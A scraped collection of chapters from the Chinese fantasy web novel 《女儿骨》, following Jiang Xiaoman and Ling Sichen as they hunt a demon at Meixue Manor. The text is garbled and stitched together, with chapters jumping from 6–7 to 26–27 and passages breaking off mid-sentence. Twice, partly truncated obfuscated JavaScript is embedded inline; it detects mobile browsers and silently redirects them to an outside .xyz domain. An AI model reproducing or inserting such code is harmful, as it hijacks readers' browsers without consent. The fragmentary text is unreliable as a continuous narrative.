“姑爷可有知会老夫人?” “有的,有的。老夫人是默许的。” 马护院闻言,便抱拳回了一礼,三人互相礼让一番,继而又寒暄起来。 姜小满皱了皱眉。 百花先生?从未听过此号人物。 既非仙门中人,却自诩能施法除魔?且既需法事,为何这岑家不请五大仙门的正统修士,却请这名不见经传、不知何处来的、长得像街头戏徒的无名游道? 她心中一万个疑问,此时也只能憋在心里。又迅速环顾四周,趁着现下无人留意自己,便轻盈一跃,如燕雀掠水,悄然翻身入院。 一进这院中,她便发现,情况不简单。 此处乃是左院。 院内有东、西两厢房环绕中心花园,此时厢房内皆灯火通明,室内人影若隐若现。院中手执灯笼的下仆与捧着糕点果盘的丫鬟,在两个厢房间疾步穿梭。 来时曾听凌司辰说,梅雪山庄自前庭后便是左右两个大院,如今岑家主人除了老夫人单独静居右院以外,余下的人都住于此院。 人口密集,要找那先前的魔气之源便如大海捞针。且现在人来人往,凌司辰给她的身份又是一个老老实实的哑巴药仆,若是被发现可就难解释了。 姜小满想了想,决定先撤为上。 * 借夜色掩护,姜小满绕到另一侧跳出左院,又沿着漆黑的小路摸进右院时,正逢凌司辰在主屋门前向丫鬟交待熬药事宜。 他背影的轮廓被主屋渗出的悠悠烛光映照得颀长而挺拔。 姜小满默默走过去,守在不远处的曾管事眼尖发现了她,招手将她唤了过去。也没多细问,只当是这药仆丫头先前跟丢又迷了路。 凌司辰用余光瞥了她一眼,又无事一般,继续拿着药方跟丫鬟说事。 姜小满也知趣,静候在一旁。 待凌司辰那边完事,曾管事便领了神医主仆二人去右院后方的客房。 曾管事路途上说,听闻药仆姑娘也需定期调养,故安排了二人同宿一室,以便照料。姜小满虽觉得有些不自在,但当场蹦出来反对似乎更为不妥。 还好,房中设有两张床。 客房内部宽敞,装潢精致讲究,两张铺着上等丝绒的床分置两侧,其间的案几上放着一只玲珑香炉,室内散发着袅袅香气。 曾管事简单介绍了一番房中布置,便替他二人阖上了门。 待曾管事脚步声走远,凌司辰才回过头来兴师问罪。 “怎么回事,不是让你先探方位不要打草惊蛇吗?” 姜小满微怔,原来那魔气无故消失之由也不是因他。 她小声回道:“我也不清楚。” 凌司辰迟疑一瞬,后又问:“那魔物方位你可探清?” “大约是左院。要我再用灵雀去探探吗?”她说着便欲解下颈间饰物的封印。 凌司辰摇摇手,示意她将饰物收回去。 “地级魔一旦开始隐藏气息,哪怕是最顶级的灵兽也探不出分毫。” 既已至此,料是这趟诛魔之旅便没预想中那般顺遂。 “你说,它会不会已经逃走了?”姜小满抬眸问道。 “水魔伏诛已好些时日,它却还滞留在庄内。魔物要寻得新环境并非易事,且你我也并未暴露,它应是还在。” 姜小满点点头。又只觉一股寒意上身,不由打了个冷噤。 凌司辰则放松得多,转身卸下身上行囊,倦意微显。 “先睡觉,明日再去看看。” * 吱吱吱—— 半夜,屋外虫鸣阵阵、不绝于耳。凉风毫无章法地刮着窗扉,发出凄楚的“呲呲”声。 姜小满将被子严严实实地裹住,缩成一团,瑟瑟发抖。眼睛忽闭忽睁,时不时便对着门边瞄上一眼。 之前在三界话本中读过,诡音杀人,都会撕下受害者的面皮披上,夺了那人 6. 梅雪山庄(3) 《女儿骨》全本免费阅读 哀婉空灵,柔中带坚,嘈嘈切切,长音不绝。 好高超的琴技!——这是姜小满的第一个反应。 但很快,又听出了不寻常之处。 这琴音,隐隐夹带着些许灵气的波动,那是一种格外温婉而绵长的灵气。 于凡人耳中或许难品出差异,但对于姜家人而言,分辨普通琴音和带灵气的琴音则是如同家常便饭一般简单。 素闻岑家是江南一带的琴艺世家,家中便是婢女也懂些音律,也不知究竟是何人,竟能奏出此等媲美仙门之乐的琴音。不过,无论是谁,定是体内有不凡灵气之人。 姜小满决定亲自去查探一番。 她轻手推开房门。 月光倾泻,洒落一地清辉,夜晚的空气也清新恬静。 只是静谧的空气中隐藏着一丝诡异,她总觉得,有一双眼睛正盯着自己。 她警觉地张望了一番,目光逡巡于院墙外的古树阴影,墙内微动的草丛,以及远处房屋的屋檐下挂着的灯笼,照出昏黄不定的阴影…… 姜小满将玉笛藏在衣襟中,露出半截头,若遇上紧急情况,随时可以抽出来。 按理说,她的身份应当没有暴露,那魔物也不太可能特意针对她。再说,即便真的有个万一,她衣袋中还有些遁地符,保命逃走应该还是够够的。 她顺着琴音而走,出了客房,经小门离开右院,穿过后方的长廊,又爬上一座小山坡。 这梅雪山庄确实大,据说占地几百亩看来也不虚,覆盖了整座小山头,而远处的大片坡地想必便是后山了。 在月光下倒也能看清大概面貌,灌木成荫,密草丛生,再深处看着倒像是几座坟冢…… 早前听凌司辰说起过,这山庄的后山部分往昔曾是一片繁荣的庭园,岑老先生过世后便已然废弃,甚至好些个病死的奴仆的坟冢便立在后山深处。 究竟是谁会大半夜在这鬼地方弹琴!? * 好在小山坡翻过去便是一片矮竹林,这里倒是有一处还算整洁干净的小庭院,而那琴音正是从这小小的庭院中传出来。 竹林密而不高,郁郁葱葱地环绕着庭院,简门仅以几枝竹条勾勒,搭配些许蓬蒿为饰。竹条门架上挂着的牌匾,姜小满借着月光,勉强看清其上写的是翠微苑三个字。 “翠微苑”…… 记忆中爹爹曾言过,那年征魔后他与岑老先生连日饮酒欢聚,便正是在这翠微苑中。想必多年以前这半亩大小的庭院也十分热闹吧,可如今坐落于这无人问津的后山中,却显得格外冷清萧索。但从这竹门内传出、饱含灵力的悠悠琴声,又让姜小满愈发的好奇。 她躲在半掩的门后窥望,清幽的庭院中央是石砌的桌台,上面端端地放着一把七弦瑶琴,夜色朦胧,琴身的轮廓依稀可辨,几分素雅几分古朴。桌台旁,一女子端庄而坐,身着碧裙,低眉垂眸,玉手轻拨石案上的琴弦。 女子貌若空谷幽兰般出尘,黑发如瀑般垂落,月色若银辉般轻洒其身,为她披上一层皎洁的纱裳。 看着年岁倒是和自己相仿,听闻那岑秋已年过而立,膝下有子,应当不是她。 女子身后则站着一个身形袖珍矮小、一身桃色衣裳的丫鬟,此刻微垂眼眸,静静聆听。 袅袅琴音清脆如淙淙流水环绕山涧,在院落、矮竹林中回荡,又似松林间风过枝头,轻柔而绵长。女子仪态温婉,信手抚琴、从容恬淡,仿佛与夜色浑然一体。 姜小满听得出神,不自觉想往前再迈进一步,哪知脚下踩碎了叶片,发出了细碎的声响。 女子蓦然抬头,琴声戛然而止。 只听丫鬟惊喊道:“谁!谁在那儿?” 姜小满只得从暗处缓缓走出。 那女子看清她样貌时,双目忽然怔住。尔后白皙的手指按住琴弦,缓缓站起身来,警觉地上下打量了她一番,低声问道:“你……你是谁?!” 姜小满闻言收住脚步,杵在原地,紧抿双唇,一时间也不知如何作答。 她和凌司辰到时天色已晚,未有机会同庄上主人见面,故这庄上大部分人,当是还不知道她这个“哑巴药仆”的存在。 这女子站起身时,姜小满明显看出她周身散发出的灵气波纹。 人的灵气与脉象、气穴一样是出生便有的,有的人天生稀薄,有的人天生浑厚。只是未加修炼的灵气无甚作用,普通人亦不懂得收束灵气,自然便让体内充盈之气散发了出来。不过,拥有如此优秀的灵气,却并非仙门之人,甚是可惜。 女子波澜不惊,眸光如水,静静等待着眼前之人开口。反而是身后的丫鬟神色惊慌,几步上前护着主人:“你该不是贼吧?快说,你是怎么进来的?” “桃红。”女子抬头,喝住丫鬟。 见那丫鬟情绪紧绷,姜小满生怕她忽然高声呼喊,便支支吾吾道:“我,老夫人,病重……” 此刻四下无人,她便尽力以最简短的语句传达来意。 幸而,那女子明白过来,含笑道:“原来你便是母亲今晚请来的神医呀,我原以为该是个老头子,却没想到竟是这么年轻的姑娘。” 她挥了挥手,名为桃红的丫鬟便应诺着退回了后方。 姜小满尴尬一笑,不再辩解,便先认下了。 幸好凌司辰先前给了她一个药包让她背着,加上她一身朴素着装倒也的确像个郎中。 那姑娘眉目温润,声音更清甜如泉水:“我叫岑兰,姑娘唤我阿兰便好。” 姜小满心中微怔。 原来她便是岑家二女儿岑兰。一直听说岑秋虽才貌双全,却性情多挑剔,喜怒无常,时常训斥学徒,而她妹妹岑兰看起来则更加亲和近人,此传言果真不假。 只是没想到,这梅雪山庄的二姑娘体内竟有一股远超常人的灵气,这要是再小个十岁,当是各大仙们争抢的好苗子啊。尤其琴技还那么出色,此等人才没拜入她们姜家修行,姜小满都觉得实在是太可惜了。 她抿抿唇,腼腆回道:“姜小满。” “姜……”岑兰愣了愣,“原来是姜神医。” “不不。”姜小满急忙摆手,“小满就好。” 岑兰莞尔一笑。 继而俯身琴前,指尖轻舞。悠扬之琴音再度跃动,灵气随琴音席卷而来,若枯涸的溪泉再度流淌,若朽木逢春再生新芽。 在这缥缈似幻的仙乐中,岑兰清脆的声音如点 7.梅雪山庄(4) 《女儿骨》全本免费阅读 自诸仙门创立之初到如今的数千年,若论起哪家诛魔数量最多,凌家那可绝对是一骑绝尘、独占鳌头。其中的最大功臣,便是这红云剑阵。 这阵为昔时云海战神飞升前所创,从那之后亦是凌家代代相传的大范围杀招,力量或不是最强,但规模绝对是最广。相传五百年前,云海战神便是用这招歼灭了西魔君的百万大军。此阵需三人通力而布,阵起时,天上红云密布,三角所围之地,剑气如雨倾泻,刚猛强劲足以将山川夷为平地。 更遑论一个小小的梅雪山庄了。 “你疯了?这可是数十条人命!”姜小满疾步上前,一拍桌面,将那药丸震得乱转。 凌司辰倒格外镇定地将那药丸捻起,轻轻装入另一只白色小瓶中。 “若是放走诡音,那便不止数十条了。” 姜小满一时语塞。 她从未将自己视为那种义薄云天之人物,如今这世间魔怪横行,魔怪食人日有发生,纵是蓬莱仙人也无法救下所有人,她更不能。况且,昨晚她所想的还是取了魔丹偷偷溜走——她本没有资格站出来指责什么。 但脑海中却闪过了昨夜矮竹庭院中岑兰的抚琴之景。然后是整个左院仆从忙忙碌碌的身影,最后又是曾管事的慈眉善目和马护院的几分威严。 “诡音还在不在庄里尚未可知,这般行为和魔物又有什么区别,你——呜呜”但她话音未落便被凌司辰一把拉过捂住了嘴。 “嘘。”他低声道。 门前有人经过。 步履之声更近,一抹黑影隐现,等来人开口,原来是通报的婢女。 “老夫人召集了庄里人,在堂屋等凌神医过去。” “知道了。”凌司辰应了一声。 …… 那丫鬟都走远了,凌司辰却仍紧捂着她,丝毫没有松开的意思,面上看着是在思考的模样。 “呜呜……”姜小满赶紧把他的手掰开。一股气堵在胸口,腮帮子又不自觉鼓了起来。 凌司辰松了手后则若无其事地收拾起桌上的瓶罐,将它们齐整地收回行囊,裹好斜挎于肩。又轻轻把额带解下,整理了一番衣衫,临出门之际方回头看了姜小满一眼。 “与其继续生气,不如与我一同早些把魔物揪出来。嗯?” 姜小满听了这话,闷声没有反驳。刚才那下打断,倒是让她冷静了些。 初听他那番话时,着实吓了一跳。但仔细想想,凌家在诸仙门中一向以狠厉果决的行事风格出名,他们为了屠魔连自己和同门的性命都可以不顾,又何况这一庄子的凡人。 她是不是又因为短短几日的相处,便把眼前这位凌二公子想得太过美好了呢。 不由想起大师兄常说的一句话,杀魔决不可存半分怜悯之心。她常年宅居家中,对魔物的了解不过来自于书卷读物、他人言传口述和家中捕捉回来的一些小魔,又怎知与大魔搏斗是何种非生即死的绝地交锋。 最好的结果,便是在这三日内将魔物揪出来,这样,谁都不用白白牺牲。 想通后,她便三两步追了上去。 “不生气了?” “想通了,三日后的事三日后再说。不过,到时候我还是会阻止你。” 凌司辰笑而不语。 姜小满挠挠头,“对了,你有没有听过一个叫百花先生的人?” “没有。谁啊?” “……你马上就能见到了。” * 还未及近堂屋,便远远听见了屋中的交谈寒暄之声。 走近些,才发觉厅堂中已满满是人,越过门楣遥望过去,那中间端坐着岑家老夫人,堂下左右坐着家中的年轻一辈们。 待两位客人进屋,原本热络的交谈声戛然而止,两旁的人则不约而同站起了身来。 姜小满一眼便认出了岑兰。 她精神看起来倒是不错,就是面上总觉得挂着一丝哀伤。她周身的灵气也不似昨晚那样充盛,但还是明显与常人不太一样—— 凌司辰显然也留意到了。 但他的视线只是短暂的停留,便快速扫过,似乎不觉得有什么奇怪。 也是,这世间凡人千千万,确实有那么些个体内灵气能堪比仙家修者的,就和一些人从小肌肉夯实赛牛马却没能习武的,倒是无甚稀奇。毕竟有没有是天生的,用不用得上则是后天的。 站在岑兰对面、与姑爷岑远并立的,想必便是岑家的大女儿岑秋了。 岑秋和岑兰长得十分相似,就是更加高挑瘦削,着一身金黄袄子,笑容中不带岑兰那般的哀愁,反是更加甜婉。她周身气息就颇为正常,灵气也是普通人的量,看来这充沛的灵气也不是家族遗传。 那百花先生也在场,他依然戴着半阙铁面具,此时端端站在岑远的另一侧。 面色和蔼的曾管事则一直伫立在老夫人的身旁,最外圈站着的则是几个待命的丫鬟。 姜小满飞快扫视了一圈屋内的人。 诡音……会在这其中吗? “凌神医来了。” 厅堂之上,岑家老夫人端坐在主位,微微含笑。银丝如雪,耳挂翡翠,头戴贵重的风花玉簪,穿着绣有金盏菊的显赫长袍。可即便是如此富贵华丽的装扮,也难掩其憔悴面容——眼眶凹陷,神色疲惫,脸颊和颈部皆贴满了厚厚的药膏。 老夫人向他二人依次介绍了大女婿和一双女儿。 介绍至岑兰时,“哑巴药仆”姜小满悄悄朝她吐了下舌头,岑兰起先愣了愣,继而覆手轻笑,也没戳破她的身份,只将那当作女孩之间的秘密了。 一番介绍完毕,老夫人温言道:“神医乃是帝都贵人,远途而来此行不易。”又转而向家中之人,“往后几日神医将在庄上小住,倘若他有所需,你等都悉力以赴。” “老夫人言重了。”凌司辰颔首回礼,目光不经意地扫过岑远身边的戴着铁面具的人,“这位是?” 老夫人轻覆脑门,“哎呀,看我都忘了。这位是千机阁的百花先生,善施法驱邪。这些日子家里煞气重,阿远便让先生来家中看看。” 岑远也礼貌谨慎地点头,承认是自己的主意。 那铁面郎君满脸堆笑,弓身行礼:“在下百花。昨日比神医晚至,未得一面,今闻老夫人言及,神医不仅医术非凡,风采更胜武者,实使在下钦佩至极。” 凌司辰也回笑道:“哪来的跳梁小丑,既非仙门中人,竟大言不惭能除煞气?” 此话一出,岑远的脸变得铁青。 姜小满眼睛瞪大,他怎的这般直接?!这凌二公子,本来还装得温良恭谦,见到这百花先生,便似触了逆鳞一般。明明他自己都是个假冒的…… 虽然,确实听闻过凌家人素尊崇仙道,以修仙为荣,在诸仙门中也最是骄傲,今日算是见识了。相较之下,爹爹就很体贴温和,养出来的弟子绝不会这般带刺。 ——都几百年没人登仙了,也不知他们这么一根筋有何意义。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12150733|123182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 随后便完完全全地被心口所吸收。 随之便是脑颅更深层的悸动,似是尘封的盒子被揭起盒盖一般,不同的画面在她眼前飞速闪过,嘈杂之音在耳畔回荡,她分辨不出具体的声音,也无法让那闪动的画面停滞下来。 她知道自己正在做梦。因为她的五官,四肢,属于自己,又不完全属于自己,因为她无法控制它们。 她发现自己正在失重下落,但她却丝毫也不慌张。眼前的景象仍然在疾速变幻,从一片漆黑、再到风卷云袭、再到无数黏糊糊的触手在眼前晃动。 最后定格在了一片漆黑前。 而她也终是落地。 周围哗啦啦的海浪之声,还有眼前汹涌澎湃的潮水,都让她明白过来——此时此刻,她正身在海边。 海…… 传说那创世的九曲神龙便先是创造了海,又搬来几块巨石填于其上,这才有的陆地。 姜小满自幼便憧憬海,然而现实中,却并没去过海边,但她听那些去海边除过魔的师兄师姐们说起过海的模样。 海,应当是碧蓝的。湛蓝的天空与吞吐着白色泡沫的碧海融为一体,当是宽阔而明亮的。 可她此刻梦里的海,却是一片吞噬灵魂般的漆黑。而天空也是同样黑不见底,但却能看见那天空的中央,徒然而生一道巨大裂缝,周遭还似被什么侵蚀一般吞吐着可怖的云雾。 ——直觉告诉她,不能靠近那道裂缝。 她径直地向前走去,脚下踩着坚硬的礁石,咯得足底生疼。 那海浪犹如墨汁般翻滚,凄风阵阵,发出窃窃的悲鸣。 漆黑如墨的海边是一片灰暗的沙滩与礁石,而眼前一块巨大礁石上还坐着一个红衣服的女童,那鲜红如血的短裙在这黑暗无色的场景中则过于显眼了。 哀鸣的风声中竟裹挟着一阵甜美的歌声。 那歌声,不远不近,不轻不重,婉转如溪流,清脆如泉响。 她继续走近,竟发现是那女童在哼唱。 再细细一看,小女孩眉清目秀,眼波若水。就是头上冒出一对小小犄角,有些弯曲,似刚破土的新芽。 小女孩听见响动,转过头,见到她之后便停止了歌唱,大眼睛水灵灵的,眼神里是掩藏不住的开心。 姜小满总觉得,她的五官看起来很熟悉,但一时间也想不起来,自己是在何处见过这小丫头——而且这是在梦境里,她是更没办法自如地思考。 “天音,碧浪呢?”——这句话,竟然从她自己的丹田中问出。 是她的声音,是她在说话,但却并不是由她所控制。 她身在其中,但却又像个局外之人。 小女孩伸出白胖小手、指了指前方。姜小满循着她指示的方向看过去,却见原来漆黑的浪潮中还有一个人影,随着海浪上下翻涌,如鱼儿一般游得随心自如,看着像是一个小男孩。 水中游泳的小男孩似乎也发现了岸边的她,从海浪中钻出来,挥着手跟她打了个招呼。随后便再次一头扎进了水里。 她眼尖,远远地看到那小男孩的眼睛,圆圆的小小的,就像两枚黑豆子。 26.终焉之曲(1) “他罹寒犯了,只有待在水里才能缓解疼痛。”小女孩幽幽道。 姜小满凝视那黑海中的人影片刻,又转向红衣小丫头。 “那你呢,又来给他送吃的?” 小女孩点点头。 姜小满看过去,小姑娘手边竟是小碗承装的点心和果子,就是那果子,看着颜色有些暗沉,不像是平日里常见的果物。 “碧浪没办法自己找吃的,所以只要他饿了,我便给他带去。” 姜小满惋叹了一声,她走过去,坐在小女孩身旁。 她轻柔地抚着小女孩柔顺的发丝和她头上小小的犄角,“虽然你们一同降生、彼此照应,但你要知道,他跟你是不同的。他没有‘祝福’,迟早有一天,周身会被罹寒侵蚀,沦为行尸走肉,在这翰渊里自生自灭……届时,你可得有心理准备。” 小女孩低着头,不发一言。姜小满心中不免责怪自己,都说了什么,把人家小丫头都要弄哭了。 ——但她也不知道自己在说什么,虽然都是从她口中说出,但她却更像一个旁观者。 小女孩低声喃喃:“那他……还能有救吗?” “有。”姜小满果断地答道。说着,指向天边那道裂缝,“去天外。天外的灵气无穷无尽,定有办法让他康复。” “天外……”小女孩默念着,“便是君上所说的,有美妙歌声和灿烂光明的地方吧。君上给我起这个名字,也是因为我的歌声,像那天外的音籁吧。” 君上…… 姜小满心里默念着。好熟悉,怎么又有人这般称呼她。 但她只是平静地点了点头,语调缓慢而安宁:“我答应你。终有一日,会让碧浪在碧色湖水中恣意畅游;也会让你的歌声,在白昼之光下尽情地响彻。” 小女孩沉默,明显音色已经带些哭腔,她点了点头,艰难挤出一声“嗯”。 姜小满温柔地抚摸着小女孩的头,“所以天音,为翰渊而唱吧。无论何时,听见你的歌声,同僚们便会前来;你的歌声,将指引我们前进的方向。” * “君上……君上……” 重伤的魔物口中喃喃念叨着,赤/裸着脚掌,脚步一深一浅、摇摇晃晃地走着,浑身都在淌血。 早前与那仙门蝼蚁对峙时,她脑中飞速转动,分析了一通当时局势—— 有一点她确信:那男人不会伤害君上。 虽不知君上为何会困于蝼蚁之身、又为何记忆全失,但那男人会救君上,和他待在一起,君上暂时很安全。 这对目前的她来说,已经足够了。 接下来她要做的,便是活命了。苟得一命在,终有再起时——这是她一贯的宗旨。 而今她好不容易逃出了那山庄,一瘸一拐地走在山腰的一片树林中,走几步便要靠着一棵树喘几口气歇息。她知道,山下便是一座村庄,那里有好多凡人——在现在的她眼里,便是无数贮藏灵气的可口佳肴。 所以,只需要再坚持几步…… 她还沉浸在方才的冲击中,整个身子都在战栗。俄而,她停下脚步,手往后探摸了摸后背,似乎终于意识到了现下最需要做什么,便低低地,哼唱起了那首她最熟悉的短曲。 曾经那位主君教给她的短曲,说是从天外听来的曲子。 她的声音低沉而阴郁,口中的曲调幽婉而绵长。 诡音停住脚步,望着天空,静静等待。 她所信赖的同僚,那位在主君陨灭后便统领着他们这帮散兵游勇的将帅,那位千里之外便能感知到音波振动的顶尖‘祝福者’,按理说会循着她的歌声、来接应她…… —— 啪,啪。 没等来同僚,却等来身后两三下清脆的拍掌声。 她如惊弓之鸟一般转过头,目露凶光。 “真好听。”来人拍着手,半阙面具下的嘴唇勾起渗人的笑意,“天音,上次听你唱曲儿,得是五百年前了吧。” 百花先生取过夹在胳肢窝下的折扇,慢悠悠展开,轻慢摇起来。 顶着断角的怪物愤怒不已,展开双臂,露出浑身骇人的伤痕,如一道道裂纹生在破碎的肌肤上。 她咬牙切齿:“你这个疯子,这就是你想要的结果吗?” 铁面郎君看了后,“啧啧”嗟了两声。 他玩味的语调仿若打趣,“你怎的如此不堪一击了?竟被一个仙门小修,打成这副惨样?” “……” 诡音不语,只警觉地凝视着他。 百花先生不急不慢,悠闲地耸了耸肩,“我呢,先前放了你一命,这次,也可以破例救你。但你也得拿出点诚意不是?差不多是时候履行诺言了吧。”道完这句话,他终是一反常态,那透过面具的眼神露出凛冽的凶光。“把东西给我。” 诡音再次不语,这次,喉咙中发出阵阵警告的低吼。 百花先生则熟视无睹,再次步步逼近。 “乖,听话。把凝冰给我。” 诡音连退了几步,直至撞到了身后的树。 她一字字挤出牙缝道:“我……不会给你的。” 她的脚掌陷入土里,脚上挂的血丝与泥土混在一起。她终是双手环架于前,堪堪做出羸弱的防御之姿。 百花先生歪了歪头,双眼空洞无神,又似蓄满杀意。 “你说你这又是何必呢?霖光不在,凝冰你们留着也没用。” 他话音刚落,诡音便嘻嘻讪笑了起来,那笑声似残风中的烛火。 俄而,她目光决绝,压低声音、咬牙切齿: “君上……已降临此间。你必输无疑!” “——你说什么?!”百花先生被她这句话惊在原地站定,目中尽是惊疑。他那面具下的唇齿则开始自言自语:“难道……” 诡音不再理会他。言罢后,她便仰起头颅,开始纵声高歌,此番的歌声,势若磅礴、荡气回肠、穿透九天,响彻了整片树林。林中的兔子躲进坑洞,虎豹猛兽瑟缩发抖,花朵闭上苞蕾,树枝跟着摇颤。 而天上,则已悄然铺满漫天寒气。 呼啦—— 远处,浑身升腾着苍蓝魔气的巨鸟,正在高空疾速驰骋、朝着树林俯冲而来。那巨鸟周身之羽为冰霜覆盖,利爪凝结似冰刃,额头是一点雪白之斑,长喙锋利如百炼成钢的战戟。 每一次振翅都携裹着冰雪,每一次拂尾都掀起一阵狂风。 诡音听见了巨翅席卷气流之声,歌唱的嘴角也开始上扬,眉眼中潸然滑过几滴清泪。她更加奋力放声,为那大鸟指引着方向。 百花先生也被那呼啸之声吸引,他循声望去,目中已经不再是惊讶,取而代之的是满腔怒意。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|12160938|123182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他折扇一收,手中生起的光焰缠绕着扇柄,恍惚形成一把尖利之刃,他持着那光刃向浑身是血、纵声高歌的女子直冲而去。 诡音噙着血泪,肆意唱着。 哪怕铁面男子手中的利刃已经穿透了她的胸膛,她只是唇角微动,那歌声竟未颤抖丝毫。 她笑了。 脑海中,是那位主君曾经的声音—— 【唱啊,天音。 唱啊!你的歌声,将指引同僚前行!】 蓝色大鸟动了动眼睛,疾驰呼啸、巨影掠过林间两人,眨眼间便用利爪精准地抓起一个蓝色冰球,随之席卷着疾风腾飞远离,原来那东西竟是嵌在诡音的背中。 ——速度之快,铁面男子甚至来不及反应。 “岩玦,抓住她!” 随着他一声暴喝,周围扬起万千弥漫的沙砾,那砂砾于空中快速汇集成一阵旋风,也同样以极快速度直追大鸟而去。 百花将手中扇刃掉转方向,反手一拉,便将诡音的胸腔开了个大洞,另一只手中聚集黑灰气流,直直打向已经血肉模糊的碎角女子,那团气流将她与身后的树干一同贯穿。 诡音似残破的布娃娃一般滑落于地。 她只剩最后一口气,看着眼前怒不可竭的男子,竟嗤笑起来,笑得几多无力。 “你找不到她的,更伤不了她……” 她气若游丝,口中全是鲜血,却拼尽最后一丝力气咬着牙狠狠道: “纵使粉身碎骨……我等也决不会让你伤害她!” 说完这句话,她便终是断了气。 她没有闭上眼睛,那眼睛在最后也直直睁着,一动不动瞪着眼前之人。 嘴上,却是带着笑意。 阳光照进树林,她的尸身从手指开始一点点皴裂、开始变作尘灰。 百花呼出一口气,似散去胸中积压之怒火。手中那把“利刃”又变回了折扇模样,他将其展开,对着脸摇动起来,扇起的风拨动着两簇鬓发。 良久,他又将那扇子倏地一收,手抚上半阙面具,指尖不受控制地用力,铁面具竟然被摁出一丝裂痕。他兀自闷声笑起来,笑得有些许阴森。 “霖光,你来了?你终于来了……哈哈哈哈哈哈!” 笑了好一会儿,他站定,终于恢复了以往神态。 他凝望着眼前飘飞的烟尘,平静道:“傻孩子,谁说我要伤害她?相反,我还要她好~好地活下去。” * 那冰蓝大鸟疾驰飞过山头的动静可不小,山庄里的人无不驻足抬头,一片惊呼。 大多数人对大魔并无概念,尤其是这种长相漂亮的。在这玩意儿真正出手害人之前,他们也只会惊叹所见到的壮丽奇观。 西厢房前的花园中,白衣少年原本坐在石台前小憩,也被这呼啸之声惊醒,抬头一看,更是悚然一惊,瞳孔骤缩。 他低声念道:“羽霜……” 竟是排行第四的地级大魔,百年未闻其影,为何忽然现身此处!? 他管不了那么多,起身便欲追去,身后却突然传来急促开门声和丫鬟的声音: “公子,姑娘醒了,姑娘醒了!” 屋内隐隐传来咳嗽声。 犹豫的刹那,再昂首,魔物已经没了踪影。 他握了握拳,转身便向厢房奔去。 27.终焉之曲(2) 姜小满醒来时,浑身酸软无力,倒是不疼。 脑袋昏昏沉沉,仿佛做了一个很长、很真实、又很奇异的梦。但要她回想,又觉得脑袋嗡嗡的,一时间什么也想不起来。 …… 她努力挖掘最近的记忆,夜晚、庭院、发狂的魔物,她奏笛解幻术…… 下一瞬,那可怖的魔物便冲了过来,钳住了她的脖子将她掳走—— 她下意识摸了摸自己的脖颈……惊恐的记忆犹在,她的气息也随着回忆有些紊乱。 眼眸低垂,见阳光透过纸窗倾泻下来,斑斑驳驳照在被子上。她木然环视一圈,这屋她认得——这是西厢房内。屋外有间歇的鸟鸣、家丁忙碌之音,大战已经结束,似乎一切已经归附于平静。 她缓缓呼出一口气。 正在这时,门被轻轻推开。 一个丫鬟走了进来,粗看一眼像是碧春,但她刚迈进一只脚,见姜小满已坐起,便立时惊慌地跑了出去,一边叫道: “公子,姑娘醒了,姑娘醒了!” 不多时,那道熟悉的身影便匆匆赶了进来,奔至床前。 “别乱动,肺腑处残余魔气易积淤,赶紧躺下——” “诡音呢!?”她不待他说完,身子便伏了过去,急急握住他衣袖,语气有些焦躁。 眼前的人也不答话,捉过她的一肩便要将她摁回被窝,“不关你的事,快躺好。” 姜小满与他暗暗较劲间,瞥见他的面色极差。 她内心一沉,暗思:若诡音已死,他定然不会是这副神情。 “它跑了!?”她惊道,声音有些嘶哑:“你,你怎的让它跑了,它那么坏又那么可怕,万一、万一再害人怎么办呀!” 她话未毕,又急促咳嗽了几声。嗓子尚有些酸疼,一时间说太多话有些承受不住。 “快躺下。”白衣少年用命令的口吻道。 姜小满被他这态度弄懵了,委屈得不行: “分明是你自己说的嘛,无论怎样都不能让它跑掉……咳咳。” 凌司辰沉默片刻,只道:“它受了重伤,跑不远的。支援也快到了,届时便在山下阻截它。” “支援?”姜小满眉头紧蹙,“什么支援?” 凌司辰不再答话,抚着她肩角的手略微施力,力道虽柔,却隐隐透着坚持。姜小满虽有不甘,但见他不回话也不再执拗,乖乖缩回了被窝。 他的面色终于缓和,眉目间也流露出柔意,“你就别操心了。待会儿我叫碧春送药来,你便在此好生养伤。” 言罢,又将她身上的被子拢紧了些。随后,他用指尖轻触她的颈侧,姜小满只觉得一股温热的灵气悄悄注入,仿若沐浴在春水暖流中,身心俱舒。 她闭上眼,安然享受着。 良久,凌司辰缓缓收手,目光深沉地注视她片刻,然后拿起剑,默然离去。 * 姜小满咳嗽着,目送着他出门,心中也憋屈不已。 他还是那样,什么也不愿意告诉她。 待他出去不久,丫鬟碧春便捧着漆盘轻步走了进来。趁开门的间隙,姜小满瞅见院子里家丁们忙碌的身影,似是在修缮院墙、打理花圃。 碧春来到床畔,轻轻拖了案几过来,将漆盘置于其上。她小心翼翼地将姜小满扶起,随后端起漆盘上的白瓷碗,药勺轻搅,吹去热气。 “姑娘睡了十二个时辰,可算醒了。早些公子刚救回姑娘的时候,那状况甚是危急,我们都担心得不得了呢。” 姜小满怔住:“……救回我?” 朦朦胧胧的记忆里,好像确实有这么一段。凌司辰破门而入,一把揽她入怀,而对面是咆哮的魔物……对了之前是什么情况来着——不行,头好疼,一想这段就疼。 难道说,是因为她,他才没能杀掉诡音? 怎么会这样?这还是她认识的凌二公子吗? 许是自责,又许是还在震惊中,她呼吸变得急促起来。 